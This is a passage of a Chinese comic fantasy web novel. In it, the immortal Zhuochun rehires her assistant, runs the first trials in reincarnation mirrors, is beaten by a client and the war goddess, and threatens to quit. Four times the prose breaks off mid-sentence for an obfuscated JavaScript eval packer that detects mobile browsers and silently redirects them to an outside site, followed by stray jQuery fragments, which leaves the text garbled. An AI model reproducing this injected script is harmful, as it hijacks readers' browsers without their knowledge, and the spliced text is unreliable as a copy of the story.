——罢了，一鼓作气，把要干的事干完，然后回家独享一人时光！ 灼春回到大本营，忽然发现十几个人在门口排队，而大院的门还关着。排队的那些人看到灼春立刻抱怨起来，说她尸位素餐、不务正业、迟到早退云云，还说她再不出现他们就打算找相睦会掌舵投诉。 灼春：！？ 多几个投诉不正好给林鸿那犊子一个借口销她的假吗！？ 她急忙开门，同时向各位赔笑：“我错了我错了，大伙消消气！不要总把投诉挂嘴上，去投诉多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灼春思来想去，觉得还是得从小麻那边着手，务必要把人忽悠过来抵过这一阵！小麻那么乖，应该很容易说服哦？ 灼春深吸一口气，回到屋内找出之前麻惠良投递的简历，搜索其住址时意外发现，自己之前到中介所发布的义工招用信息经林鸿审核修改盖章过，招用截止日期就在今天。 她倒吸一口冷气，忽然领会了林鸿给她放两天假的意义，恨得直咬牙。 “老东西，暗算我！” 次日天亮，灼春就到麻惠良家里找人——不是她拖延，是大半夜找人容易被告扰民，万一告到慎刑殿，被慎刑殿发配，落在战神手里……咳咳，于是她稍微养了养精神，一大早就来挖麻惠良。 据小麻自己上交的简历来看，她是土生土长的本地人，除了到远方城市求学了六年，其余时间都没离开过家乡。学有所成后，也是立刻回到此地，目前……应该还是和父母家人住一块。 灼春来得不凑巧，麻惠良家里只有她一个，其他人都出去挣钱讨生活了。麻惠良见她来颇为吃惊，慌慌张张请她进门，问是不是自己之前工作有失误，或者还有哪里没完成需要交接。 灼春笑笑：“没有没有，你做得很好！我不是来兴师问罪的，而是来请你回去的。” 10. 君亦未寝 “……抱歉偶仙老师，我不能去了……” 麻惠良低着头怯声怯气，话中却透着一股不容变更的重量。 拒绝得这么干脆，倒是出乎灼春的意料。 灼春忙问是不是工作太累了又解释说前几天是例外，现在相亲大会结束，没有那么多杂七杂八的事儿要管了。 “——这段时间所里步入正轨，你就每天处理一下来婚姻登记的人，然后每天写个总结报告就成！” 但是麻惠良仍不为所动，果断拒绝。 灼春想了想，加码：“只要你来，以后你就是情理所的一把手，拥有管理所里全部事务的大权！——你觉得这样行吗？” “对不起偶仙老师……” 灼春一连抛了许多飞天大饼，但是小麻始终弱势但坚决。 灼春：“只要你在所里，你不提，我就不管你怎么样？” 麻惠良：“对不起……” 灼春：“上三休一，朝九晚四，期间午休一个时辰，绝对不加班！——呢？” 麻惠良：“抱歉……” 灼春：“……你别来工作了。” 麻惠良：“不行……嗯？” “……” 灼春不好意思地打哈哈：“我觉得你可能喜欢说拒绝，所以试了一下反话哈哈……所以你同意了哦？” 麻惠良无奈叹气：“对不起偶仙老师，我真的不能去你那帮忙。” “为什么？你不是还在找工作吗？” 灼春丈二和尚摸不着头脑，她明明看到小麻家里到处是应聘简历，求职意愿很明显，怎么就不愿意过来呢？情理所的事情也不难做啊！ 灼春真诚地说她有什么意见都可以提，坦白才知道症结在哪儿，该怎么解决。 麻惠良低着头犹豫许久，兴许是被灼春的坚持打动，深吸一口气，终于开口。 “……偶仙老师，我是家里唯一的孩子，以后需要照顾双亲的。” “嗯，但现在你双亲还健在，不需要你整天照顾吧？所以来我这工作嘛！” “……”麻惠良觉得可能自己说得还不够直白，“我需要工作……” 灼春连连点头：“对啊，所以来啊，来我这工作啊，我热烈欢迎你啊！” “不是……我还需要生活……” “所以我同意给你最少的工作时间，你绝对有足够的时间享受自己的生活啊！” 灼春越听越觉得小麻没有不来工作的理由，兴奋劲儿一上来，两只手像蒲扇一样哗啦哗啦扇动，好似在说“来呀来呀”。 麻惠良：“……” 她做好心理建设，决定以最直白的话表达自己。 麻惠良：“偶仙老师我不能打白工！我需要工钱生活！我不能在家啃老！我需要赚钱自力更生！” 挥动着双手的灼春猛地僵硬了。 麻惠良一生一次的直球意外地打了个急弯击中了灼春防守区以外的靶子。 “……哈、哈，说的也是哈！我都，嘿嘿，差点忘了这回事儿了……你等等，等等哈！” 灼春尴尬笑笑，背过身去窸窸窣窣一会儿，忽然扭头和麻惠良笑笑，不好意思地问：“小麻，那个……你能帮我开个传音阵吗？我吧，法力有点不够了……” “……” 麻惠良一言不发地取出自己的媒介法器，按照灼春的指示在纸上画了一个传音阵，启动之后立马递给她。 灼春接过，立马开始和对面的人聊。 “诶，老大，是我偶仙！……没大事，就跟你聊一下，嗯……那个情理所这边不是找了个帮手吗？所以我想问，会里是不是能拨款发工资——毕竟人家给咱们白干活不符合咱们相睦会的宗旨是吧？” 听见偶仙在给自己讨工资，麻惠良不由自主地竖起耳朵听。 说实话，比起其他新的工作，她更喜欢在熟悉的地方干熟悉的事。而且上级偶仙很好相处，有了这个对比，她就很担心找份别的工作，上司不好接触。而到偶仙那里上班，现在最大的问题就是没有工资，只要有工资，哪怕只是每月三钱她也干！如果……只要不低于二钱这个标准最低工资，她咬咬牙紧巴紧巴日子也能过！ “……哦，不行啊——哈？不行？你有没有人性啊！要脸不要！难道要人家给你打白工！？好歹是一会之长，有点魄力行不行？平时对着我不是挺横的嘛？对那钱串子这么言听计从！？你老大她老大？！”吼了一顿，灼春瞄到麻惠良眼中的失望，立马把声音降下来，“……不行，你是掌舵，你必须给我出个主意，否则我不干了！……啊？什么馊主意——喂？喂？” 灼春连喂几声，传音阵都不再发光，她瞅见麻惠良失落的表情，讪讪地放下纸张正襟危坐。 “那个……”灼春眼神飘忽地清了清喉咙，“小麻你能接受的最低工资是多少？” “还用说么？反正又不给……”麻惠良小声嘀咕。 灼春摸摸鼻子，强颜欢笑：“小麻，一个月二钱你能接受吗？” 闻言，麻惠良带着不解抬头：“可是刚刚……不是说不拨款吗？” “会里不给钱是会里错，你帮我工作我肯定不能让你吃亏啊！我自己出钱给你付工资！”灼春拍拍胸脯作保证，“我月钱一钱，全归你了，剩下一钱我会另外给你！之前也不能让你白干，我们就从你第一天工作开始算工龄！” 麻惠良听到偶仙的工资惊了：“偶仙老师，你一个月才……一钱？怎么生活啊？这、这还全给我了那、那你……” “仙者嘛，在相睦会基本不被当人看的，反正死不了，用不着活那么讲究！有个地方遮风避雨就行了。”灼春摆摆手，不以为意，“怎么样？你能接受吗？” 麻惠良：“……” 说实话，听到偶仙真只给自己标准最低工资时，就算有了心理准备，她内心还是有些犯嘀咕……但是偶仙老师人真的不错，而且工作时长和内容什么的都比较容易接受……更何况，偶仙老师为了留自己都说到这个份上了，不答应的话，良心上过不去…… “……嗯……” 听到回应，灼春一抚掌，当即变出一张劳动合同，趁对方晕头晕脑的时候忽悠她签了。 灼春捧着合同忍不住嘴角笑意。 这回成了！ 不过小麻这也太好忽悠了，幸好是遇上了她，要是遇上什么黑心老板，签了卖身契还得倒搭钱哩！ 灼春立马和麻惠良交代了情理所相关业务的具体流程，后者认认真真地记录在笔记上。 “……大致就是这样了，如果实际操作中遇到什么不明白或者不知道怎么处理的，你要么传音给我，要么直接到轮回所找我。” “嗯嗯……” 看着认真笔记的小姑娘，灼春提醒她：“虽然具体时间还没定，但过不了多久会里就要出资具考的报名公告，你最近可以准备起来，如果能考上，那么会里就没有借口不给你发工资了。” “资具考？”麻惠良面露茫然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950200|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灼春一愣：“你没听过吗？” “唔……上学那会儿经常听，但就是名字熟，具体是什么不清楚……” 啊……老大他们的科普教育还不够广泛深入啊…… 灼春尽可能简单地与她概述—— 资具考，就是相睦会为了招聘执司向全体百姓发起的统一考试，基本没有门槛，不论仙者普通人，人人都可参加。没有固定开放时间，一般都是会里什么时候缺人，什么时候招考。 考试流程为笔试、面试、体质测试和道心测试，除笔试外，每一轮考试都有十三位考官监考，只要通过四项考核就能正式成为相睦会执司，堂堂正正为百姓谋福。 有了灼春的解释，麻惠良这才第一次明白耳熟能详的“资具考”到底是个什么东西。 为了激起对方参加考试的热情，灼春灵光一闪，将执司待遇一并告知。 “我跟你讲，执司待遇非常好！上三天休息一天，提供一日三餐，都是多味楼的食物！还有住宿，一人一间房，不用跟人挤，独享空间！每天工作四个时辰，午休还能休息一个时辰，年末还有经费三钱的三天团体旅行。要是工作过程中受了致命伤，不用慌！咱会里掌舵，医仙老大，百分百给你救回来！而且不收钱喏！” 麻惠良：“……” 这就是传说中的画大饼吧？明明刚才还说她自己的工钱只有一钱，现在就变二钱了？可见有猫腻。 小麻不说话，小麻不相信。 灼春期待地等着惊叹回应，却没有任何反响。 她讪讪地寒暄两句便告辞，不管怎么说，主要目的已经达成了。现在的问题就是以后怎么给小麻补上一钱的工钱，不过这些都可以等到假后再说啦！ 拜托了！假后的自己！ 灼春兴冲冲地跑回家，关好门窗拉好帘子，拆掉发髻，换上最舒适的睡衣，搬出晒得最暖和的被子，泥鳅似的滋溜一下钻进被窝，将自己裹得茧一般严严实实，然后闭上眼享受最后的假期时光。 一切纷扰以后再说！现在让她抛开一切放空大脑，沉浸在无忧无虑的假期中吧！ 大脑：你要睡了吗？ 灼春：是的，所以请你停止思考。 大脑：哦。 大脑：……你还记得明天第一位预约渡劫的仙者是谁吗？ 灼春：好像是……不对，这不重要！我要睡觉！ 大脑：明天一位一位来，还是一次性五位啊？如果同时进行，管得过来吗？轮回镜的时间流速需要一致吗？哦对了，不知道他们有什么要求，也不知道他们的承受能力如何…… 灼春：！！ 够了！不要再说了！她要休息！！ 大脑仍然肆无忌惮地呶呶不休，一会儿想该设置什么劫难，一会儿又想那么多人怎么分五面镜子，一会儿担心自己不熟练被投诉，一会儿又担心自己做得太完美被同僚寻仇…… 灼春强逼着自己不睁眼，试图哄骗自己只要不睁眼迟早能睡着——然而脑内各种历劫模式都构思了一遍，意识反而越来越清醒，睡意挥着手帕跑跑跳跳越来越远。 ——灼春愤愤地踢开被子坐起来。 没有实践，想法再多再好再完善也只是空！ 灼春憋着满腔怒火，套上衣服就往林鸿家跑。 ——“老大！老大！好巧啊你也没睡！那我们聊聊工作呗！” 被灼春吵醒的一脸皱巴巴的懵林鸿：？ 谁没睡？她分明是被吵醒的好吧？ 11. 新官上任 “老大！我觉得为了提高工作效率，我们可以提前向需要历劫的预约者发放问卷，调查他们历劫的意向、时间、效果，然后我们就可以根据要求……” 灼春见到林鸿就开始滔滔不绝地诉说自己的工作方案。一听是工作，林鸿立马憋回睡意，聚精会神专注灼春的话。然而等她听明白灼春只是想发放调查问卷，没什么要紧事，睡意便抑制不住地返了上来。 “……好好好，你不就是想做调查又怕别人不上心吗？行，我替你发……”林鸿捂着嘴轻轻打了个哈欠，“那你把问卷给我吧，我传给名单上的人——不用全部吧？先找最先预约的十来个人试试效果……” 灼春：“……” 林鸿打起精神扫了眼没动作的灼春，狐疑：“你该不会还没做问卷吧？” “我这不是刚想到就过来和您分享工作的喜悦嘛！这就写这就写！” 灼春挤进林鸿家，占据了客厅，排开一沓纸与一摞笔，故作正经地埋头涂写起来。 林鸿：“……” 人都进来了，而且是正经工作，不好再把人赶出去。林鸿只好叹气合上门，去给“不速之客”沏了杯茶。 “好好写，注意逻辑。写好了，检查过了，确定了，再叫我起来。”林鸿搁下茶，掩着嘴又打了个哈欠，迅速上楼回房休息。 年纪大了，精神不济，缺觉。 林鸿不在，灼春才松下神经，懒懒地躺在软乎乎的卧榻上，垂着一双小腿在扑了厚厚一层毛绒绒的地毯上蹭。 诶，还是老大懂得享受啊……家具用最好的木头，垫子都是羽绒的芯锦缎的皮，踩的是真皮毛，穿的用的都是最舒适轻便的金银纺丝绸…… 灼春端起茶牛饮一大口—— 哟，是高级茶叶茗城见穗芽！老大不喝末等茶了，看来艰难的时刻确实要过去了。 她砸吧砸吧嘴，像只八爪鱼一样四仰八叉躺着，懒洋洋地拿笔在纸上划拉。划拉几笔就喝一口茶，再扒拉几块点心吃，接着在地毯上滚来滚去磨蹭两下——桌上的茶水点心被她扫荡完了，问卷才写了个开头。 “老大，我工作得口渴了，给我倒杯水呗！” “老大，桌上点心没了，我饿得没力气拿笔了！” “老大，……” 第不知多少次被灼春吵醒后，林鸿彻底放弃睡眠，憋着火坐到她身边，监督她完成工作。 灼春懒洋洋地抖着腿：“老大，你去睡嘛~你在这盯着，我害羞写不出来~” 林鸿扯扯嘴角：“你折腾那么多事，不就是不想让我休息吗？” “嗐，老大你的想法太阴暗了吧~我哪能这么坏~” 林鸿空抹了一把脸，憔悴道：“别耍嘴皮子了，赶紧干正事，早点做完早点作别……” 灼春写着写着还想抓块点心磨蹭，但是林鸿啪的一下把她点心打掉。灼春不得不揉着手专心写问卷。 好吧，蹭了不少好东西吃，不亏…… 灼春熬了一宿编问卷，林鸿被迫陪了一宿没合眼。 工作时间快到了，灼春才交出一份满意的问卷，林鸿审阅过，便迅速发给预约历劫的前三十位仙者，并且备注让他们抓紧时间尽快填完交给灼春。 林鸿：“……今天是你上任的第一天，多少得开始渡劫的工作。所以排名第一位的仙者我就没发问卷了，回头你到所里亲自问吧。三十位仙者，够你忙一两年的了——接下来没事不要来烦我！” 说着，便迫不及待地将灼春赶了出去。 灼春看时间差不多，便慢悠悠地走向轮回所。等她到的时候，第一位预约的仙者已经候在门口了。 她笑着挥手打招呼：“牛执司，来这么早啊？” 灼春认识他，这是斗武殿的一位执司，是战神的属下，性格好像挺好的，据说就是性急。 牛执司叹气：“那不是着急吗？我寂心期早到了，法力时灵时不灵的，要不是前些日子太忙，我早托人帮自己渡劫了。” “那是得着急了。” 灼春开门引人进入，牛执司走过大门就立刻问自己该进哪一面轮回镜。 灼春：“我知道你很急，但你先别急，走个流程先。” 她在五面镜子中心的座椅上坐下，招呼对方坐在自己对面，然后取出纸笔作出记录的样子。 灼春：“牛执司想要怎样的难度呢？有什么时间、身份、经历的要求吗？” “……啊？” 牛执司不是第一次经历寂心期，但还是第一次听见司劫者在开始前会这样询问。短暂的错愕过后，牛执司结巴地问，有没有什么选项，他笨嘴拙舌，不知怎么做。 “不瞒你说你是我上任以来第一位客户，所以很多事呢，章程也不是很清晰……”见对方理解地点头，灼春才接着说，“这样，关于你怎么渡劫，我问你答就好，回答完了，咱们立马安排进轮回镜！” “行，你问吧！只要能尽快渡劫就成！” 灼春清了清喉咙，一边在纸上写一边问：“请问你有什么一定想经历的劫数？譬如情劫、病劫、穷劫之类的？” 牛执司挠挠头：“我没想过啊……都行，你安排吧。” “好的，那我自己看着办了。”灼春又问，“那么难度上有什么要求呢？你希望历劫结束后达到怎样的效果？实力突飞猛进还是保持现状就行？” “那当然是突飞猛进啦！”牛执司激动地拍桌子，“最好能达到战神那个程度！一出关天地为之变色！以一敌百，傲视斗武殿所有执司！——渡劫之后实力没长进那还能叫渡劫嘛？” 灼春面露为难：“这个要求可能有点……每位仙者的承受力不同，如果一味追求实力，恐怕会陨落在镜中……” 闻言，牛执司不得不收起激奋的心情，冷静面对现实。 “说得有道理……”牛执司想了想，变更要求，“那么就按我自己的承受力来吧！尽可能激发我最大的实力！” 灼春点点头，这个就好实现多了：“那么你对历劫的时间长度有要求吗？唔……就以下一次寂心期来临的间隔时间为准，有一年到一百年的选择区间，你的选择是？” 牛执司问：“你的意思是，我要是选择一百年以上，那么这次历劫结束后，就会间隔至少一百年，才会到法术失灵的寂心期？” “是的。” 说着，灼春有些不好意思：“因为我刚上任司劫，预约渡劫的人还挺多的，所以单人不能在镜中待太长时间，会影响他人渡劫，只能限制每个人渡劫的时间……” 牛执司一拍桌：“这我了解，你不用解释！那我选三十年左右的吧！万一出来后不满意，大不了我再预约一回，一年后再入轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950201|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回镜一遍！” 第一位客户就这么好说话，灼春很是感动，忍不住握着对方的手保证，一定帮他达成有效渡劫！ 灼春接下来又问了些零零碎碎的细节，接着，便挑了一面挂着金黄色风铃的轮回镜供牛执司历劫。牛执司盼望渡劫已久，当即进入轮回镜，镜面漾开一圈圈涟漪，什么东西都没有。 “就给老牛来个……五毒六欲七情八苦九难俱全的人生吧！” 灼春在镜面上点了两下，镜边的金色风铃晃了晃，发出一声脆响，紧接着镜子里出现了稚子新生的画面，表示正式开始仙者的历劫。 灼春在镜框上戳了几下，调整轮回镜的时间流速到合适的程度后，便坐回中央的办公桌，回收之前林鸿发出去的问卷，根据问卷内容进行整理分类，时不时关注一下轮回镜中历劫的牛执司。 不过牛执司刚刚出生，还没什么行为能力，也没有设置劫难的必要，所以暂时还不用管。 “……唔，排在名单前头的几位仙者都希望经历肝肠寸断的情劫啊——这是给我面子？——嗯，其他要求也都蛮相近的……” 灼春环顾四周仍空闲的四面轮回镜，摩挲着下巴，觉得可以将差不多要求的仙者放到同一批里渡劫。如果渡劫要求相似，那么后期设置劫数时就不用想太多，不用担心混淆——诶？那她为什么不设置一个模板一劳永逸呢？ 灼春一抚掌，跑到正在运行的那面轮回镜前，琢磨着有没有设置模板的操作——喔！？还真有！？ 仙者进入轮回镜，其实就是在镜中世界开启一段新生，如果没有意外，基本上就是平淡无波澜的一生。而帮助仙者渡劫的那个司劫者，就是意外本身。 为了给镜中仙者设置劫难，镜外的司劫就会调整历劫仙者身边的人及环境，人为制造一些灾难，譬如让某个皇帝国家富强推动打仗扩大领土啊、让爹妈碰上梦中情人促使他们抛弃家庭私奔啊、让历劫仙者站在悬崖边时脚一滑摔下去啊…… 这个劫难的设置，则需要司劫施法驱动轮回镜，在镜中留下一个变数，然后轮回镜运行这个变数，改变镜中原本的故事走向。 也就是说，只要提前计划好“变数”，放入轮回镜的运转轨迹，等时间到了，轮回镜就会自动运行，就像在一条历劫仙者的必经之路上依序放一枚石头，历劫仙者走到了那段路，就会被硌一下。 所以，只要灼春在轮回镜中设置好历劫仙者一生需要碰到的变数，就能形成一个模板，不同的仙者可以在同一面轮回镜中重复使用，在仙者历劫剧情跑偏的时候稍微控制一下即可，大大减轻司劫压力。 但这毕竟只是个概念，是否能实现模板的应用——灼春还得在牛执司身上实践一番。 灼春先把牛执司所在的镜中时间流速调到最低，然后捏着下巴先编了几个劫难放进镜中，接着又加快时间，令牛执司快进到历劫的节点——哈！果然能行！ 灼春立刻分出四位要求相似的预约仙者，根据他们填写的问卷，制定了一套情劫模板，抄到空闲的其余四面轮回镜上，接着发出通知，让这四位仙者赶来渡劫。 几个时辰后，五面轮回镜通通处于使用状态，灼春心满意足地在五面镜子前兜圈巡视，看着镜中按自己预计发展的剧情连连点头。 事半功倍，这点子，金点子，谁想出来的啊！嘻嘻~ 12. 我不干了 灼春在轮回所里守着渡劫的五位仙者，整整三天没有离开。临时设计的模板用着还可以，但要达到渡劫仙者的目标效果，灼春还不能离开，需要发挥自己的主观能动性，对镜中故事进行适当的调整。 五面轮回镜，除了金色风铃那一面，都是同一个专攻情劫的模板，可是，就是因为是同一个模板，灼春反而觉得更累——看人谈流水线恋爱好腻啊！ 于是在无聊中，灼春的思路再次打开—— 把模板固定到轮回镜中，一面镜子一个主题模板，然后再根据渡劫仙者的需求分配到相应轮回镜，既满足仙者渡劫需求，自己工作起来又有趣味性不单调！ 关注着五面轮回镜动态的同时，灼春抓紧时间把所有收回的问卷做了整合，分成五种渡劫倾向，确立主题，最后根据主题，编写了相应劫数满满的模板，就等着这一批出关后把模板录入轮回镜。 “搞定！就等着牛执司他们出来啦！” 虽然五面轮回镜同时运转，但灼春的注意力更多集中于牛执司那面金色风铃的，因为这是第一位客户，而且根据安排也是最早会出关的。 灼春调快了牛执司的时间流速，眼瞅着快到结束的时间，她好心地在模板之外额外多加了好几道障碍，直到快突破牛执司心理防线，才停止投入。 金色风铃蓦地剧烈晃动起来，叮呤当啷的声音响彻轮回所，那是轮回镜里轮回结束，历劫者将要出来的表示。 “真不错！牛执司渡劫挺顺利啊，这就结束了！” 灼春抱着预备好投入轮回镜的模板，等候牛执司出来。 只要牛执司能顺利出关，就代表渡劫模板可以推行，她也不必日夜守候在此，只要隔三差五盯个梢就行…… 轮回镜镜面如水般波动，牛执司从波澜中踏出，神情有些恍惚。 灼春迫不及待地上前询问体验，谁料牛执司回神见她，忽然翻脸，反手一巴掌直接将她抽飞三丈高，画出一道圆润的弧线越过轮回镜摔到地上还弹了三下。 “！？” 灼春捂着脸震惊不已。 她回头正要质问牛执司，却见对方杀气腾腾地向自己冲过来。这熟悉的一幕，令灼春下意识想逃。 “救命啊！来人啊！打人啦！！——” 灼春连滚带爬逃出轮回所，可她还没站稳，就看见战神从对面的练武场擦着汗走出来。 灼春：“！！” 战神：“……” 说时迟那时快，战神抄起练武场武器架上的一把剑往灼春这边就来。 灼春前后来回看，涔涔冒冷汗。 天哪，前狼后虎，天要亡她啊！ 脆弱的心脏砰砰直跳，跳多了，她反倒冷静了。 这俩都是斗武殿的人，体能一流，很能打，逃跑没有胜算，正面对抗更没有鸟用。 灼春见两人已经带着杀意来到自己面前，做了个“停”的手势，视死如归道：“打可以，要么打死，要么别打出伤口，请吧。” 牛执司：“……” 战神：“……” 短暂的寂静后，灼春所在的地方爆发了响彻云霄的轰鸣，光彩陆离的法术光芒如同跨年的烟花一般盛开、遍布视野。事后据相睦会其他执司回忆，那是一场非常喧豗的动荡，地动山摇，他们还以为灾潮卷土重来世界末日了。 “呜哇！！！” 林鸿倒嘶一口冷气，堵住耳朵，试图喊停对面嚎啕大哭的“红色猪头”。 林鸿：“别哭啦！我已经教训过龙缨和老牛了，你还有哪里不满意？别哭，说话……你说了我才能帮你解决问题啊……” 肿成猪头的灼春眼睛都睁不太开，抽搭着说话，词不成句。 “我呃！我……我，呃，要呃，要他们，呃，呃……赔呃赔！！呃！” 靠着优秀的联想能力听明白她的话，林鸿为难道：“他们不可能赔你钱的，太强人所难了——你再提提别的要求？” 斗武殿的人向来不会赚钱、攒钱，手里稍微宽裕点就立刻去买各种训练用的东西，什么刀枪剑戟护盾盔甲，哪怕生病了受伤了，都是大病等死小病靠熬的……上次灾潮，斗武殿所有人都上前线了，死的死残的残，还欠她妙回堂不少外债呢。要赔偿，估计只能打欠条，而且还款日遥遥无期。 “我强人所难！？”灼春气得都不抽抽了，“老大你看清楚了！是他们俩联合起来殴打我诶？我要他们赔偿还是我强人所难了？我叫了你那么多年老大，不求你护着我，只要你公平点对我好不好！！” 林鸿内心很想纠正她，战神和牛执司不是联合起来殴打她，只是两个都想殴打她，恰好时间上重合了——但是为了灼春不被气死，她贴心地将话咽了回去。 “……那你还想怎样嘛？”林鸿叹气。 “我想怎样？我能怎样啊！我打打不过，跑又跑不过，要点赔偿还要不到手，你说我能怎样！？” 灼春想擦拭眼角的泪水，但是手一碰到脸上肿得老高的肉包就一阵巨疼，她只能强忍着不碰自己。 灼春：“那你给我免费看病开药。” 林鸿：“一是一，二是二，一码归一码。” 灼春嘴一撇，又要开始哭，林鸿连忙劝慰：“放心，我已经好好说过那俩了，牛执司知道错了，已经保证不会再打你。” 灼春哼了一声并不相信：“你还说战神之前也反省了，不会再打我了，结果呢？”而且哄她上任时还说会让大家签不打她的事前文件……文件呢？ “这我可没说啊。战神那边，她是承诺不会再对你以气化物下死手，没说不打你啊——我也没说过——你看战神这次不就是只用普通的武器攻击你嘛，除了痛点，没有生命危险的。”林鸿忙纠正灼春的错误认知，将自己撇干净，见灼春又要闹，紧接着补充道，“而且你放心，牛执司那边我确认过了，他也意识到这次对你下死手不应该，他保证不会打你了——一切摧残你身体的事都不会干！” 本来还以为林鸿又要玩文字游戏，见她这么认真地保证，灼春勉强放下一点心。 灼春：“可是牛执司好好的为什么要打我？是对我的工作不满意？他实力没长进？” 林鸿咳嗽两声，也有点不好意思。 “那个……我问过了，老牛说他对这次渡劫的效果没二话，就是觉得……这个渡劫的过程……你有点过分了……” 灼春无声地瞠目结舌。 不是，他们斗武殿的人都有毛病吧？记打不记吃啊？ 灼春思考了一会儿，觉得生命诚可贵，安全价更高，于是对林鸿提出卸任司劫的请求。 如果来渡劫的仙者个个都学习战神拿她泄愤，那她还要不要活了啊？别说精神损失费了，就是医疗补偿费都没有一点，纯当她是无知无觉的陪练沙包啊？ 见灼春要辞职，林鸿终于意识到这个问题比自己想象得要严重。 她不干了，那么多预约历劫的仙者怎么办？倒不是说司劫的人选只有她，关键是能胜任的目前就她一个啊！现在会里人才凋零，数量上没办法，就只能在质量上取胜。换成别人司劫，效果没有灼春显著啊！ 可是拿什么拉拢她呢？反正赔偿是拿不出的，假期是匀不出的，月钱是涨不了的…… “……我定一条规矩，‘所有渡劫仙者出关后不得殴打司劫，否则关进地牢面壁三年，半数家产充公’，只有同意这条规则的仙者才能入轮回所——这样你可能接受？” 灼春低着头考虑了许久，终于点头。 灼春：“但你不能再像上次那样只是哄我！必须立马出文件！——就贴在轮回所门口！你啥时候弄完我啥时候开工！” 林鸿松了口气：“那我这就草拟章程，尽快处理。你呀，以后也别说辞职的气话了，多伤大家感情！好了好了，你回去养伤吧——照顾好渡劫仙者啊！” 灼春告辞后，一瘸一拐地走到生灵殿，找鸣桐给自己疗伤。鸣桐看她一身的伤痕，觉得自己身上也疼了起来，连忙给她处理伤口，顺手丢了个清洁咒除除脏污。 鸣桐：“姐姐啊，你一个文官，怎么老是跟人打架？该不是想转职去斗武殿吧？” “谁要去那个野蛮的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950202|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方啊！——啊疼疼疼！——又不是我主动惹事，是他们斗武殿的人找我麻烦好吧！每次都被打得不成人形，我也很无奈啊！” 痛斥斗武殿的人恩将仇报后，灼春咧了下青紫的嘴角：“不过以后应该没事了，老大答应我写一份不许殴打我的文件贴在轮回所门口，仙者要想找我渡劫，就必须遵守规定！” “那挺好的，保护你的人身安全了。不过……”鸣桐忽地一顿，“我记得相睦会推行‘法不溯及过往’，也就是说现在已进入轮回镜渡劫的那几位和之前的牛执司和战神并不适用这条规定？” 灼春：“嗯！？什么意思？我还得挨削四加恩次？？” 灼春肉眼可见地惊慌颤抖，鸣桐赶紧找补：“不至于！牛执司那边掌舵不是确认过了吗？他不会打你了！战神……咳，大不了你躲着她点，龙缨她还不至于跟在你屁股后头打你。还有现在正渡劫的那四位……” 鸣桐本来想说这四位都是脾气温和的仙者，不会打人的——可她转念一想，战神和牛执司本来也不是暴力的人，只好转了话锋，劝慰道：“我觉得你可以抢救一下自己的命运——要不你把他们的难度往下降降？” “这怎么行！那我不玩忽职守了嘛！”灼春强烈反对，“再说了，万一我降低难度，最后他们出来觉得没达到预期效果，不止打我还要参我一本，那我找谁说理去？老大才不会帮我咧！” 鸣桐：“……那我还是帮你多备点伤药吧。” 灼春瑟缩一下，开始盘算怎么躲过之后可能出现的四次追杀。忽地门外传来一个声音打断了她的思路。 吉吾：“偶仙也在？正好，来签个字，把这个月月钱领了。” 吉吾将领取月钱的签收单依次递给鸣桐和灼春，等她们签完字，才将装有月钱的红色布囊分别交予。 拿着有几分重量的布囊，灼春突然想起自己的本职工作，紧接着记起自己还要再筹一钱银子给小麻付工资。 她猛地拉住正要离开的吉吾，迎上对方疑惑的眼神，讪笑：“那啥，我不是兼任司劫了吗？这是‘偶仙’的工资，那‘司劫’的嘞？” 吉吾：“……偶仙，你该不会忘了，相睦会的工资是按人头发放而不是工作量吧？” 灼春看向鸣桐：“嗯？有这事？” 鸣桐低头：“嗯……好像没听说过……” 灼春又看向吉吾，眼神里透露出对金钱的渴望。 吉吾淡定抽回手，说：“那你们现在知道了。” 说完，紧紧捂住装钱的口袋，毫不犹豫地大跨步离开生灵殿，双腿捣得走出残影。 灼春忍不住无声地骂脏话。 防谁呢！她就问问又不抢！她也是有骨气的好嘛！瞧不起谁呀…… 鸣桐：“灼春，这段时间你最好不要招惹吉吾，小心被宰喔。” “啊？为啥？我哪儿得罪她了？” “前些日子你不是在练武场和龙缨闹了一场吗？练武场的维修花了不少钱，吉吾记恨着呢。” “哈？又不是我一个人干的！凭什么只记我一个！” 